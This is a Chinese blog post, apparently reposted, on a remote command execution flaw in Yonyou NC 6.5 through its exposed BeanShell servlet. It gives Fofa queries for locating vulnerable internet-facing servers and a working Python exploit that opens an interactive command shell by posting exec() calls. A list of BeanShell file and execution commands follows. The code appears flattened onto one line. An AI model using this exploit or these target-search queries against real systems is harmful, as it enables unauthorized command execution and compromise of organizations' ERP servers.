漏洞影响的产品版本包括:用友NC 6.5
Fofa:icon_hash="1085941792"
(没有会员的小伙伴在苦恼没办法使用上边的 Fofa 语法吧,等效的也可以用底下的 Fofa 语法搜集)
Fofa:app="用友-UFIDA-NC"
漏洞的 Url 为:
/servlet/~ic/bsh.servlet.BshServlet
漏洞复现截图:

随手写了个 poc 练手,下面就呈上,写的不太好有改进的地方请各位指出。
import refrom ast import parsefrom time import sleepimport requests,time,optparse,urllib3from lxml import etreeurllib3.disable_warnings()parser = optparse.OptionParser()parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')options , args = parser.parse_args()if not options.url:print('[+] Specify an url target')print("[+] Example usage: exploit.py -u http://target-uri/")print("[+] Example help usage: exploit.py -h")exit()url = options.urlsession = requests.Session()def poc():poc_url = url + payloadheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'}try:response = requests.post(url=poc_url)if response.status_code == 200 :flag = Trueprint("[+] 用友 NC bsh.servlet.BshServlet Command Execution")time.sleep(1)while flag:cmd = input("$ ")data = {'bsh.script': 'exec("%s")' % (cmd)}response = requests.post(url=poc_url,data=data,headers=headers)mate = etree.HTML(response.content.decode())compose = mate.xpath('/html/body/table/tr/td/pre//text()')print(compose[0])except requests.exceptions.ConnectionError as error:print('[x] This host seems to be Down')exit()if __name__ == "__main__":payload = "/servlet/~ic/bsh.servlet.BshServlet"poc()
BeanShell一些实用命令
source().,run() —— 读取 bsh 脚本到当前解析器中或者运行在一个新的解析器中。
frame() —— 在 Frame 或者 JFrame 中显示 GUI 组件。
load(),save() —— 加载或者保存序列化对象到文件中。
cd(),cat(),dir(),pwd() 等——类似于 Unix 的命令。
exec() —— 运行本地化应用程序。
javap() —— 打印方法和对象的字段,和 Java 里 javap 命令类似。
setAccessibility() —— 开启对私有的、受保护的组件不受限制的访问。
文章转载自Redus,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




